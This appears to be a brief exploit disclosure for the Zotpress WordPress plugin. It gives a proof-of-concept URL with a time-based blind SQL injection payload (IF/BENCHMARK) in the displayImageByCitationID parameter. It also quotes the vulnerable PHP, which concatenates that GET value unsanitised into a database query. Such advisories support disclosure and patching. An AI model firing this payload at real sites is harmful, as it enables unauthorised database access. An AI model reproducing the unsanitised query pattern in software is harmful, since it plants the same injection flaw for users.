PoC
---
http://www.xxx.com/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
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if ($mzr_api_user_id == false
    && $mzr_include == false
    && (isset($_GET['api_user_id']) && preg_match("/^[0-9]+$/", $_GET['api_user_id'])))
{
    $mzr_api_user_id = trim($_GET['api_user_id']);
}
...
if ($mzr_account_type == false
    && $mzr_include == false
    && (isset($_GET['account_type']) && preg_match("/^[a-zA-Z]+$/", $_GET['account_type'])))
{
    $mzr_account_type = trim($_GET['account_type']);
}
...
if ($mzr_displayImages == false
    && $mzr_include == false
    && (isset($_GET['displayImages']) && preg_match("/^[a-zA-Z]+$/", $_GET['displayImages'])))
{
    $zp_update_db_shortcode_request .= "image='".$_GET['displayImages']."', ";

    if ($_GET['displayImages'] == "true")
        $mzr_displayImages = true;
    else
        $mzr_displayImages = false;
}
...
if (isset($mzr_account_type) && isset($mzr_api_user_id))
{
    if ($mzr_displayImages == true)
    {
        if (isset($_GET['displayImageByCitationID']))
            $images = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."zotpress_images WHERE citation_id='".trim($_GET['displayImageByCitationID'])."'");